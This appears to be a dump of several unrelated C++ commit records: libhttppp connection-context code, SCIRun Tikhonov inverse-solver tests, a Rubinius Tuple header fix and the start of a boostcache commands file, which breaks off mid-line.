THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*******************************************************************************\/\n\n#include \"event.h\"\n#include \"threadpool.h\"\n\nlibhttppp::Event::ConnectionContext::ConnectionContext(){\n  _CurConnection=NULL;\n  _CurCPool=NULL;\n  _CurEvent=NULL;\n  _Mutex=new Mutex;\n  _nextConnectionContext=NULL; \n}\n\nlibhttppp::Event::ConnectionContext::~ConnectionContext(){\n  delete _Mutex;\n  delete _nextConnectionContext;\n}\n\n\nlibhttppp::Event::ConnectionContext * libhttppp::Event::ConnectionContext::nextConnectionContext(){\n  return _nextConnectionContext;    \n}\n\nvoid libhttppp::Event::addConnectionContext(libhttppp::Event::ConnectionContext **addcon){\nif(!_firstConnectionContext){\n#ifdef DEBUG_MUTEX\n    _httpexception.Note(\"delConnection\",\"Lock MainMutex\");\n#endif\n    _Mutex->lock();\n    _firstConnectionContext=new ConnectionContext();\n    _lastConnectionContext=_firstConnectionContext;\n#ifdef DEBUG_MUTEX\n    _httpexception.Note(\"delConnection\",\"unlock MainMutex\");\n#endif\n    _Mutex->unlock();\n  }else{\n#ifdef DEBUG_MUTEX\n    _httpexception.Note(\"addConnection\",\"Lock ConnectionMutex\");\n#endif\n    ConnectionContext *prevcon=_lastConnectionContext;\n    prevcon->_Mutex->lock();\n    _lastConnectionContext->_nextConnectionContext=new ConnectionContext();\n    _lastConnectionContext=_lastConnectionContext->_nextConnectionContext;\n#ifdef DEBUG_MUTEX\n    _httpexception.Note(\"addConnection\",\"Unlock ConnectionMutex\");\n#endif\n    prevcon->_Mutex->unlock();\n  }\n #ifdef DEBUG_MUTEX\n    _httpexception.Note(\"addConnection\",\"Lock ConnectionMutex\");\n#endif\n  _lastConnectionContext->_Mutex->lock(); \n  _lastConnectionContext->_CurConnection=_Cpool->addConnection();\n  _lastConnectionContext->_CurCPool=_Cpool;\n  _lastConnectionContext->_CurEvent=this;\n  *addcon=_lastConnectionContext;\n#ifdef DEBUG_MUTEX\n    _httpexception.Note(\"addConnection\",\"Unlock ConnectionMutex\");\n#endif\n  _lastConnectionContext->_Mutex->unlock();\n}\n\nvoid libhttppp::Event::delConnectionContext(libhttppp::Event::ConnectionContext *delctx,\n                                            libhttppp::Event::ConnectionContext **nextcxt){\n  ConnectionContext *prevcontext=NULL;\n#ifdef DEBUG_MUTEX\n  _httpexception.Note(\"delConnection\",\"Lock MainMutex\");\n#endif\n  _Mutex->lock();\n  for(ConnectionContext *curcontext=_firstConnectionContext; curcontext; \n      curcontext=curcontext->nextConnectionContext()){\n    if(curcontext==delctx){\n#ifdef DEBUG_MUTEX\n      _httpexception.Note(\"delConnection\",\"Lock ConnectionMutex\");\n#endif\n      curcontext->_Mutex->lock();\n      _Cpool->delConnection(curcontext->_CurConnection);\n      if(prevcontext){\n#ifdef DEBUG_MUTEX\n        _httpexception.Note(\"delConnection\",\"Lock prevConnectionMutex\");\n#endif\n        prevcontext->_Mutex->lock();\n        prevcontext->_nextConnectionContext=curcontext->_nextConnectionContext;\n        if(_lastConnectionContext==curcontext){\n          _lastConnectionContext=prevcontext;\n        }\n#ifdef DEBUG_MUTEX\n        _httpexception.Note(\"delConnection\",\"unlock prevConnectionMutex\");\n#endif\n        prevcontext->_Mutex->unlock();\n      }else{\n#ifdef DEBUG_MUTEX\n        _httpexception.Note(\"delConnection\",\"lock firstConnectionMutex\");\n#endif\n        _firstConnectionContext->_Mutex->lock();\n#ifdef DEBUG_MUTEX\n        _httpexception.Note(\"delConnection\",\"lock lastConnectionMutex\");\n#endif\n        _lastConnectionContext->_Mutex->lock();\n        _firstConnectionContext=curcontext->_nextConnectionContext;\n        if(_lastConnectionContext==delctx)\n          _lastConnectionContext=_firstConnectionContext;\n        if(_firstConnectionContext){\n#ifdef DEBUG_MUTEX\n        _httpexception.Note(\"delConnection\",\"unlock firstConnectionMutex\");\n#endif\n        _firstConnectionContext->_Mutex->unlock();\n        }\n        if(_lastConnectionContext){\n#ifdef DEBUG_MUTEX\n     _httpexception.Note(\"delConnection\",\"unlock lastConnectionMutex\");\n#endif\n        _lastConnectionContext->_Mutex->unlock();\n        }\n      }\n#ifdef DEBUG_MUTEX\n      _httpexception.Note(\"delConnection\",\"Unlock ConnectionMutex\");\n#endif\n      curcontext->_Mutex->unlock();\n      curcontext->_nextConnectionContext=NULL;\n      delete curcontext;\n      break;\n    }\n    prevcontext=curcontext;\n  }\n#ifdef DEBUG_MUTEX\n  _httpexception.Note(\"delConnection\",\"unlock MainMutex\");\n#endif\n  _Mutex->unlock();\n  if(prevcontext && prevcontext->_nextConnectionContext){\n    *nextcxt= prevcontext->_nextConnectionContext;\n  }else{\n      if(_firstConnectionContext)\n        *nextcxt=_firstConnectionContext;\n      else\n        *nextcxt=NULL;\n  }\n}\n\nlibhttppp::Event::WorkerContext::WorkerContext(){\n    _CurEvent=NULL;\n    _CurThread=NULL;\n    _nextWorkerContext=NULL;\n}\n\nlibhttppp::Event::WorkerContext::~WorkerContext(){\n    delete _nextWorkerContext;\n}\n\nlibhttppp::Event::WorkerContext *libhttppp::Event::addWorkerContext(){\n    if(_firstWorkerContext){\n        _lastWorkerContext->_nextWorkerContext=new WorkerContext;\n        _lastWorkerContext=_lastWorkerContext->_nextWorkerContext;\n    }else{\n        _firstWorkerContext=new WorkerContext;\n        _lastWorkerContext = _firstWorkerContext;\n    }\n    _lastWorkerContext->_CurEvent=this;\n    _lastWorkerContext->_CurThread=_WorkerPool->addThread();\n    return _lastWorkerContext;\n}\n\nlibhttppp::Event::WorkerContext *libhttppp::Event::delWorkerContext(\n    libhttppp::Event::WorkerContext *delwrkctx){\n    WorkerContext *prevwrk=NULL;\n    for(WorkerContext *curwrk=_firstWorkerContext; curwrk; curwrk=curwrk->_nextWorkerContext){\n        if(curwrk==delwrkctx){\n            if(prevwrk){\n                prevwrk->_nextWorkerContext=curwrk->_nextWorkerContext;\n            }\n            if(curwrk==_firstWorkerContext){\n              _firstWorkerContext=curwrk->_nextWorkerContext;  \n            }\n            if(curwrk==_lastWorkerContext){\n              _lastWorkerContext=prevwrk;\n            }\n            curwrk->_nextWorkerContext=NULL;\n            delete curwrk;\n        }\n        prevwrk=curwrk;\n    }\n    if(prevwrk)\n        return prevwrk->_nextWorkerContext;\n    else\n        return _firstWorkerContext;\n}\n\n\/*Event Handlers*\/\nvoid libhttppp::Event::RequestEvent(libhttppp::Connection *curcon) {\n    return;\n}\n\nvoid libhttppp::Event::ResponseEvent(libhttppp::Connection *curcon) {\n    return;\n}\n\nvoid libhttppp::Event::ConnectEvent(libhttppp::Connection *curcon) {\n    return;\n}\n\nvoid libhttppp::Event::DisconnectEvent(libhttppp::Connection *curcon) {\n    return;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n   For more information, please see: http:\/\/software.sci.utah.edu\n\n   The MIT License\n\n   Copyright (c) 2009 Scientific Computing and Imaging Institute,\n   University of Utah.\n\n\n   Permission is hereby granted, free of charge, to any person obtaining a\n   copy of this software and associated documentation files (the \"Software\"),\n   to deal in the Software without restriction, including without limitation\n   the rights to use, copy, modify, merge, publish, distribute, sublicense,\n   and\/or sell copies of the Software, and to permit persons to whom the\n   Software is furnished to do so, subject to the following conditions:\n\n   The above copyright notice and this permission notice shall be included\n   in all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n   OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n   THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n   FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n   DEALINGS IN THE SOFTWARE.\n   *\/\n\n\n\/\/ Testing libraries\n#include <Testing\/ModuleTestBase\/ModuleTestBase.h>\n#include <Testing\/Utils\/MatrixTestUtilities.h>\n#include <Testing\/Utils\/SCIRunUnitTests.h>\n\n\/\/ General Libraries\n#include <Core\/Algorithms\/Base\/AlgorithmPreconditions.h>\n\n\/\/ DataType libraries\n#include <Core\/Datatypes\/DenseMatrix.h>\n#include <Core\/Datatypes\/DenseColumnMatrix.h>\n\n\/\/ Tikhonov specific\n#include <Modules\/Legacy\/Inverse\/SolveInverseProblemWithTikhonovImpl.h>\n#include <Modules\/Legacy\/Inverse\/SolveInverseProblemWithTikhonov.h>\n\nusing namespace SCIRun;\nusing namespace SCIRun::Testing;\nusing namespace SCIRun::Modules;\n\/\/  using namespace SCIRun::Modules::Math;\nusing namespace SCIRun::Core::Datatypes;\nusing namespace SCIRun::Core::Algorithms;\nusing namespace SCIRun::Dataflow::Networks;\nusing namespace SCIRun::TestUtils;\nusing ::testing::_;\nusing ::testing::NiceMock;\nusing ::testing::DefaultValue;\nusing ::testing::Return;\n\n\nclass TikhonovFunctionalTest : public ModuleTest\n{\n};\n\n\n\/\/ NULL fwd matrix + NULL measure data\nTEST_F(TikhonovFunctionalTest, loadNullFwdMatrixANDNullData)\n{\n  \/\/ create inputs\n  auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n  MatrixHandle nullMatrix, nullColumnMatrix;\n  \/\/ input data\n  stubPortNWithThisData(tikAlgImp, 0, nullMatrix);\n  stubPortNWithThisData(tikAlgImp, 2, nullColumnMatrix);\n  \/\/ check result\n  EXPECT_THROW(tikAlgImp->execute(), NullHandleOnPortException);\n\n}\n\n\/\/ ID fwd matrix + null measured data\nTEST_F(TikhonovFunctionalTest, loadIDFwdMatrixANDNullData)\n{\n  \/\/ create inputs\n  auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n  MatrixHandle fwdMatrix(new DenseMatrix(DenseMatrix::Identity(3, 3)));    \/\/ forward matrix (IDentityt)\n  MatrixHandle nullColumnMatrix;              \/\/ measurement data (null)\n\n  \/\/ input data\n  stubPortNWithThisData(tikAlgImp, 0, fwdMatrix);\n  stubPortNWithThisData(tikAlgImp, 2, nullColumnMatrix);\n  \/\/ check result\n  EXPECT_THROW(tikAlgImp->execute(), NullHandleOnPortException);\n\n}\n\n\/\/ NULL fwd matrix + RANF measured data\nTEST_F(TikhonovFunctionalTest, loadNullFwdMatrixANDRandData)\n{\n  \/\/ create inputs\n  auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n  MatrixHandle fwdMatrix;    \/\/ forward matrix (IDentityt)\n  MatrixHandle measuredData(new DenseMatrix(DenseMatrix::Random(3, 1)));    \/\/ measurement data (rand)\n\n  \/\/ input data\n  stubPortNWithThisData(tikAlgImp, 0, fwdMatrix);\n  stubPortNWithThisData(tikAlgImp, 2, measuredData);\n  \/\/ check result\n  EXPECT_THROW(tikAlgImp->execute(), NullHandleOnPortException);\n\n}\n\n\/\/ ID fwd matrix + RAND measured data\nTEST_F(TikhonovFunctionalTest, loadIDFwdMatrixANDRandData)\n{\n  \/\/ create inputs\n  auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n  MatrixHandle fwdMatrix(new DenseMatrix(DenseMatrix::Identity(3, 3)));    \/\/ forward matrix (IDentityt)\n  MatrixHandle measuredData(new DenseMatrix(DenseMatrix::Random(3, 1)));   \/\/ measurement data (rand)\n\n  \/\/ input data\n  stubPortNWithThisData(tikAlgImp, 0, fwdMatrix);\n  stubPortNWithThisData(tikAlgImp, 2, measuredData);\n  \/\/ check result\n  EXPECT_NO_THROW(tikAlgImp->execute());\n\n}\n\n\/\/ ID non-square fwd matrix + RAND measured data  (underdetermined)\n\/\/ TODO: FAILS TEST: fails test when it shouldn't. The sizes of forward matrix and data are the same\nTEST_F(TikhonovFunctionalTest, DISABLED_loadIDNonSquareFwdMatrixANDRandData)\n{\n  \/\/ create inputs\n  auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n  MatrixHandle fwdMatrix(new DenseMatrix(DenseMatrix::Identity(3, 4)));    \/\/ forward matrix (IDentityt)\n  MatrixHandle measuredData(new DenseMatrix(DenseMatrix::Random(4, 1)));   \/\/ measurement data (rand)\n\n  \/\/ input data\n  stubPortNWithThisData(tikAlgImp, 0, fwdMatrix);\n  stubPortNWithThisData(tikAlgImp, 2, measuredData);\n  \/\/ check result\n  EXPECT_NO_THROW(tikAlgImp->execute());\n}\n\n\/\/ ID non-square fwd matrix + RAND measured data  (overdetermined)\nTEST_F(TikhonovFunctionalTest, loadIDNonSquareFwdMatrixANDRandData2)\n{\n  \/\/ create inputs\n  auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n  MatrixHandle fwdMatrix(new DenseMatrix(DenseMatrix::Identity(4, 3)));    \/\/ forward matrix (IDentityt)\n  MatrixHandle measuredData(new DenseMatrix(DenseMatrix::Random(3, 1)));   \/\/ measurement data (rand)\n\n  \/\/ input data\n  stubPortNWithThisData(tikAlgImp, 0, fwdMatrix);\n  stubPortNWithThisData(tikAlgImp, 2, measuredData);\n  \/\/ check result\n  EXPECT_NO_THROW(tikAlgImp->execute());\n}\n\n\/\/ ID square fwd matrix + RAND measured data  - different sizes\nTEST_F(TikhonovFunctionalTest, loadIDSquareFwdMatrixANDRandDataDiffSizes)\n{\n  \/\/ create inputs\n  auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n  MatrixHandle fwdMatrix(new DenseMatrix(DenseMatrix::Identity(3, 3)));    \/\/ forward matrix (IDentityt)\n  MatrixHandle measuredData(new DenseMatrix(DenseMatrix::Random(4, 1)));   \/\/ measurement data (rand)\n\n  \/\/ input data\n  stubPortNWithThisData(tikAlgImp, 0, fwdMatrix);\n  stubPortNWithThisData(tikAlgImp, 2, measuredData);\n  \/\/ check result\n  EXPECT_THROW(tikAlgImp->execute(), SCIRun::Core::DimensionMismatch);\n}\n\n\/\/ ID non-square fwd matrix + RAND measured data  - different sizes\n\/\/ TODO: FAILS TEST: does not fail test when it shouldn't. The sizes of forward matrix and data are the different (note that this is only for size(fwd,2) < size(data,1) )!\nTEST_F(TikhonovFunctionalTest, DISABLED_loadIDNonSquareFwdMatrixANDRandDataDiffSizes)\n{\n  \/\/ create inputs\n  auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n  MatrixHandle fwdMatrix(new DenseMatrix(DenseMatrix::Identity(3, 4)));    \/\/ forward matrix (IDentityt)\n  MatrixHandle measuredData(new DenseMatrix(DenseMatrix::Random(3, 1)));   \/\/ measurement data (rand)\n\n  \/\/ input data\n  stubPortNWithThisData(tikAlgImp, 0, fwdMatrix);\n  stubPortNWithThisData(tikAlgImp, 2, measuredData);\n  \/\/ check result\n  EXPECT_THROW(tikAlgImp->execute(), SCIRun::Core::DimensionMismatch);\n}\n<commit_msg>started adding functional tests. need to figure how to extract results<commit_after>\/*\n   For more information, please see: http:\/\/software.sci.utah.edu\n\n   The MIT License\n\n   Copyright (c) 2009 Scientific Computing and Imaging Institute,\n   University of Utah.\n\n\n   Permission is hereby granted, free of charge, to any person obtaining a\n   copy of this software and associated documentation files (the \"Software\"),\n   to deal in the Software without restriction, including without limitation\n   the rights to use, copy, modify, merge, publish, distribute, sublicense,\n   and\/or sell copies of the Software, and to permit persons to whom the\n   Software is furnished to do so, subject to the following conditions:\n\n   The above copyright notice and this permission notice shall be included\n   in all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n   OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n   THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n   FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n   DEALINGS IN THE SOFTWARE.\n   *\/\n\n\n\/\/ Testing libraries\n#include <Testing\/ModuleTestBase\/ModuleTestBase.h>\n#include <Testing\/Utils\/MatrixTestUtilities.h>\n#include <Testing\/Utils\/SCIRunUnitTests.h>\n\n\/\/ General Libraries\n#include <Core\/Algorithms\/Base\/AlgorithmPreconditions.h>\n\n\/\/ DataType libraries\n#include <Core\/Datatypes\/DenseMatrix.h>\n#include <Core\/Datatypes\/DenseColumnMatrix.h>\n\n\/\/ Tikhonov specific\n#include <Modules\/Legacy\/Inverse\/SolveInverseProblemWithTikhonovImpl.h>\n#include <Modules\/Legacy\/Inverse\/SolveInverseProblemWithTikhonov.h>\n\nusing namespace SCIRun;\nusing namespace SCIRun::Testing;\nusing namespace SCIRun::Modules;\n\/\/  using namespace SCIRun::Modules::Math;\nusing namespace SCIRun::Core::Datatypes;\nusing namespace SCIRun::Core::Algorithms;\nusing namespace SCIRun::Dataflow::Networks;\nusing namespace SCIRun::TestUtils;\nusing namespace SCIRun::Modules::Inverse;\nusing ::testing::_;\nusing ::testing::NiceMock;\nusing ::testing::DefaultValue;\nusing ::testing::Return;\nusing ::testing::Values;\nusing ::testing::Combine;\nusing ::testing::Range;\n\n\nclass TikhonovFunctionalTest : public ModuleTest\n{\n};\n\nnamespace  {\n    const double abs_error = 0.000001;\n}\n\n\/\/\/ -------- INPUTS TESTS ------------ \/\/\/\n\n\/\/ NULL fwd matrix + NULL measure data\nTEST_F(TikhonovFunctionalTest, loadNullFwdMatrixANDNullData)\n{\n  \/\/ create inputs\n  auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n  MatrixHandle nullMatrix, nullColumnMatrix;\n  \/\/ input data\n  stubPortNWithThisData(tikAlgImp, 0, nullMatrix);\n  stubPortNWithThisData(tikAlgImp, 2, nullColumnMatrix);\n  \/\/ check result\n  EXPECT_THROW(tikAlgImp->execute(), NullHandleOnPortException);\n\n}\n\n\/\/ ID fwd matrix + null measured data\nTEST_F(TikhonovFunctionalTest, loadIDFwdMatrixANDNullData)\n{\n  \/\/ create inputs\n  auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n  MatrixHandle fwdMatrix(new DenseMatrix(DenseMatrix::Identity(3, 3)));    \/\/ forward matrix (IDentityt)\n  MatrixHandle nullColumnMatrix;              \/\/ measurement data (null)\n\n  \/\/ input data\n  stubPortNWithThisData(tikAlgImp, 0, fwdMatrix);\n  stubPortNWithThisData(tikAlgImp, 2, nullColumnMatrix);\n  \/\/ check result\n  EXPECT_THROW(tikAlgImp->execute(), NullHandleOnPortException);\n\n}\n\n\/\/ NULL fwd matrix + RANF measured data\nTEST_F(TikhonovFunctionalTest, loadNullFwdMatrixANDRandData)\n{\n  \/\/ create inputs\n  auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n  MatrixHandle fwdMatrix;    \/\/ forward matrix (IDentityt)\n  MatrixHandle measuredData(new DenseMatrix(DenseMatrix::Random(3, 1)));    \/\/ measurement data (rand)\n\n  \/\/ input data\n  stubPortNWithThisData(tikAlgImp, 0, fwdMatrix);\n  stubPortNWithThisData(tikAlgImp, 2, measuredData);\n  \/\/ check result\n  EXPECT_THROW(tikAlgImp->execute(), NullHandleOnPortException);\n\n}\n\n\/\/ ID squared fwd matrix + RAND measured data\nTEST_F(TikhonovFunctionalTest, loadIDFwdMatrixANDRandData)\n{\n  \/\/ create inputs\n  auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n  MatrixHandle fwdMatrix(new DenseMatrix(DenseMatrix::Identity(3, 3)));    \/\/ forward matrix (IDentityt)\n  MatrixHandle measuredData(new DenseMatrix(DenseMatrix::Random(3, 1)));   \/\/ measurement data (rand)\n\n  \/\/ input data\n  stubPortNWithThisData(tikAlgImp, 0, fwdMatrix);\n  stubPortNWithThisData(tikAlgImp, 2, measuredData);\n  \/\/ check result\n  EXPECT_NO_THROW(tikAlgImp->execute());\n\n}\n\n\/\/ ID non-square fwd matrix + RAND measured data  (underdetermined)\n\/\/ TODO: FAILS TEST: fails test when it shouldn't. The sizes of forward matrix and data are the same\nTEST_F(TikhonovFunctionalTest, DISABLED_loadIDNonSquareFwdMatrixANDRandData)\n{\n  \/\/ create inputs\n  auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n  MatrixHandle fwdMatrix(new DenseMatrix(DenseMatrix::Identity(3, 4)));    \/\/ forward matrix (IDentityt)\n  MatrixHandle measuredData(new DenseMatrix(DenseMatrix::Random(4, 1)));   \/\/ measurement data (rand)\n\n  \/\/ input data\n  stubPortNWithThisData(tikAlgImp, 0, fwdMatrix);\n  stubPortNWithThisData(tikAlgImp, 2, measuredData);\n  \/\/ check result\n  EXPECT_NO_THROW(tikAlgImp->execute());\n}\n\n\/\/ ID non-square fwd matrix + RAND measured data  (overdetermined)\nTEST_F(TikhonovFunctionalTest, loadIDNonSquareFwdMatrixANDRandData2)\n{\n  \/\/ create inputs\n  auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n  MatrixHandle fwdMatrix(new DenseMatrix(DenseMatrix::Identity(4, 3)));    \/\/ forward matrix (IDentityt)\n  MatrixHandle measuredData(new DenseMatrix(DenseMatrix::Random(3, 1)));   \/\/ measurement data (rand)\n\n  \/\/ input data\n  stubPortNWithThisData(tikAlgImp, 0, fwdMatrix);\n  stubPortNWithThisData(tikAlgImp, 2, measuredData);\n  \/\/ check result\n  EXPECT_NO_THROW(tikAlgImp->execute());\n}\n\n\/\/ ID square fwd matrix + RAND measured data  - different sizes\nTEST_F(TikhonovFunctionalTest, loadIDSquareFwdMatrixANDRandDataDiffSizes)\n{\n  \/\/ create inputs\n  auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n  MatrixHandle fwdMatrix(new DenseMatrix(DenseMatrix::Identity(3, 3)));    \/\/ forward matrix (IDentityt)\n  MatrixHandle measuredData(new DenseMatrix(DenseMatrix::Random(4, 1)));   \/\/ measurement data (rand)\n\n  \/\/ input data\n  stubPortNWithThisData(tikAlgImp, 0, fwdMatrix);\n  stubPortNWithThisData(tikAlgImp, 2, measuredData);\n  \/\/ check result\n  EXPECT_THROW(tikAlgImp->execute(), SCIRun::Core::DimensionMismatch);\n}\n\n\/\/ ID non-square fwd matrix + RAND measured data  - different sizes\n\/\/ TODO: FAILS TEST: does not fail test when it should. The sizes of forward matrix and data are the different (note that this is only for size(fwd,2) < size(data,1) )!\nTEST_F(TikhonovFunctionalTest, DISABLED_loadIDNonSquareFwdMatrixANDRandDataDiffSizes)\n{\n  \/\/ create inputs\n  auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n  MatrixHandle fwdMatrix(new DenseMatrix(DenseMatrix::Identity(3, 4)));    \/\/ forward matrix (IDentityt)\n  MatrixHandle measuredData(new DenseMatrix(DenseMatrix::Random(3, 1)));   \/\/ measurement data (rand)\n\n  \/\/ input data\n  stubPortNWithThisData(tikAlgImp, 0, fwdMatrix);\n  stubPortNWithThisData(tikAlgImp, 2, measuredData);\n  \/\/ check result\n  EXPECT_THROW(tikAlgImp->execute(), SCIRun::Core::DimensionMismatch);\n}\n\n\n\/\/\/ -------- BASIC FUNCTIONS TESTS ------------ \/\/\/\n\n\/\/ ID square forward matrix with ZERO regularization, RAND input\n\/\/TEST_F(TikhonovFunctionalTest, functionTestIDFwdMatrixANDRandData)\n\/\/{\n\/\/    \/\/ create inputs\n\/\/    auto tikAlgImp = makeModule(\"SolveInverseProblemWithTikhonov\");\n\/\/    MatrixHandle fwdMatrix(new DenseMatrix(DenseMatrix::Identity(3, 3)));    \/\/ forward matrix (IDentityt)\n\/\/    MatrixHandle measuredData(new DenseMatrix(DenseMatrix::Random(3, 1)));   \/\/ measurement data (rand)\n\/\/    \n\/\/    \/\/ input data\n\/\/    stubPortNWithThisData(tikAlgImp, 0, fwdMatrix);\n\/\/    stubPortNWithThisData(tikAlgImp, 2, measuredData);\n\/\/    \n\/\/    \/\/ change params\n\/\/    tikAlgImp->setStateDefaults();                                                  \/\/ set default params\n\/\/    tikAlgImp->get_state()->setValue(SolveInverseProblemWithTikhonov::RegularizationMethod, std::string(\"single\"));  \/\/ select single lambda\n\/\/    tikAlgImp->get_state()->setValue(SolveInverseProblemWithTikhonov::LambdaFromDirectEntry, 0 );                    \/\/ change lambda\n\/\/    \n\/\/    \/\/ execute\n\/\/    tikAlgImp->execute();\n\/\/    \n\/\/    MatrixHandle inverseSolution = tikAlgImp->outputPorts()[0];\/\/getDataOnThisOutputPort(tikAlgImp, 0);\n\/\/    \n\/\/    \/\/ check result\n\/\/    ASSERT_NEAR( inverseSolution.norm(), measuredData.norm(),  abs_error );\n\/\/}\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Disable line smoothing in plotter on GLES<commit_after><|endoftext|>"}
{"text":"<commit_before>#ifndef RBX_BUILTIN_TUPLE_HPP\n#define RBX_BUILTIN_TUPLE_HPP\n\n#include \"builtin\/object.hpp\"\n#include \"builtin\/exception.hpp\"\n#include \"type_info.hpp\"\n\nnamespace rubinius {\n  class Tuple : public Object {\n  public:\n    const static object_type type = TupleType;\n\n    \/* Body access *\/\n    Object* field[];\n\n    static Tuple* create(STATE, size_t fields);\n    static Tuple* from(STATE, size_t fields, ...);\n\n    \/\/ Ruby.primitive :tuple_allocate\n    static Tuple* allocate(STATE, Fixnum* fields);\n\n    \/\/ Ruby.primitive :tuple_at\n    Object* at_prim(STATE, Fixnum* pos);\n\n    Object* put(STATE, size_t idx, Object* val);\n\n    \/\/ Ruby.primitive :tuple_put\n    Object* put_prim(STATE, Fixnum* idx, Object* val);\n\n    \/\/ Ruby.primitive :tuple_fields\n    Object* fields_prim(STATE);\n\n    \/\/ Ruby.primitive :tuple_pattern\n    static Tuple* pattern(STATE, Fixnum* size, Object* val);\n\n    \/\/ Ruby.primitive :tuple_copy_from\n    Tuple* copy_from(STATE, Tuple* other, Fixnum *start, Fixnum *length, Fixnum *dest);\n\n    \/\/ Ruby.primitive :tuple_delete_inplace\n    Fixnum* delete_inplace(STATE, Fixnum *start, Fixnum *length, Object *obj);\n\n    \/\/ Ruby.primitive :tuple_create_weakref\n    static Tuple* create_weakref(STATE, Object* obj);\n\n  public: \/\/ Inline Functions\n    Object* at(STATE, size_t index) {\n      if(num_fields() <= index) {\n        Exception::object_bounds_exceeded_error(state, this, index);\n      }\n      return field[index];\n    }\n\n  public: \/\/ Rubinius Type stuff\n    class Info : public TypeInfo {\n    public:\n      Info(object_type type, bool cleanup = false) : TypeInfo(type, cleanup) { }\n      virtual void mark(Object* t, ObjectMark& mark);\n      virtual void show(STATE, Object* self, int level);\n      virtual void show_simple(STATE, Object* self, int level);\n    };\n  };\n};\n\n#endif\n<commit_msg>Signal the exception properly<commit_after>#ifndef RBX_BUILTIN_TUPLE_HPP\n#define RBX_BUILTIN_TUPLE_HPP\n\n#include \"builtin\/object.hpp\"\n#include \"builtin\/exception.hpp\"\n#include \"type_info.hpp\"\n\nnamespace rubinius {\n  class Tuple : public Object {\n  public:\n    const static object_type type = TupleType;\n\n    \/* Body access *\/\n    Object* field[];\n\n    static Tuple* create(STATE, size_t fields);\n    static Tuple* from(STATE, size_t fields, ...);\n\n    \/\/ Ruby.primitive :tuple_allocate\n    static Tuple* allocate(STATE, Fixnum* fields);\n\n    \/\/ Ruby.primitive :tuple_at\n    Object* at_prim(STATE, Fixnum* pos);\n\n    Object* put(STATE, size_t idx, Object* val);\n\n    \/\/ Ruby.primitive :tuple_put\n    Object* put_prim(STATE, Fixnum* idx, Object* val);\n\n    \/\/ Ruby.primitive :tuple_fields\n    Object* fields_prim(STATE);\n\n    \/\/ Ruby.primitive :tuple_pattern\n    static Tuple* pattern(STATE, Fixnum* size, Object* val);\n\n    \/\/ Ruby.primitive :tuple_copy_from\n    Tuple* copy_from(STATE, Tuple* other, Fixnum *start, Fixnum *length, Fixnum *dest);\n\n    \/\/ Ruby.primitive :tuple_delete_inplace\n    Fixnum* delete_inplace(STATE, Fixnum *start, Fixnum *length, Object *obj);\n\n    \/\/ Ruby.primitive :tuple_create_weakref\n    static Tuple* create_weakref(STATE, Object* obj);\n\n  public: \/\/ Inline Functions\n    Object* at(STATE, size_t index) {\n      if(num_fields() <= index) {\n        Exception::object_bounds_exceeded_error(state, this, index);\n        return NULL;\n      }\n      return field[index];\n    }\n\n  public: \/\/ Rubinius Type stuff\n    class Info : public TypeInfo {\n    public:\n      Info(object_type type, bool cleanup = false) : TypeInfo(type, cleanup) { }\n      virtual void mark(Object* t, ObjectMark& mark);\n      virtual void show(STATE, Object* self, int level);\n      virtual void show_simple(STATE, Object* self, int level);\n    };\n  };\n};\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\n\/**\n * This file is part of the boostcache package.\n *\n * (c) Azat Khuzhin <a3at.mail@gmail.com>\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n *\/\n\n#include \"commands.h\"\n#include \"util\/compiler.h\"\n\n#include <boost\/format.hpp>\n\nnamespace PlaceHolders = std::placeholders;\n\nCommands::Callback Commands::find(const std::string& commandName,\n                                  int numberOfArguments) const\n{\n    HashTable::const_iterator command = m_commands.find(commandName);\n\n    if (command == m_commands.end()) {\n        return std::bind(&Commands::notImplementedYetCallback,\n                         PlaceHolders::_1);\n    }\n\n    const int expectedArguments = command->second.numberOfArguments;\n    if ((expectedArguments >= 0) && (expectedArguments != numberOfArguments)) {\n        return std::bind(malformedArgumentsCallback,\n                         PlaceHolders::_1, numberOfArguments, 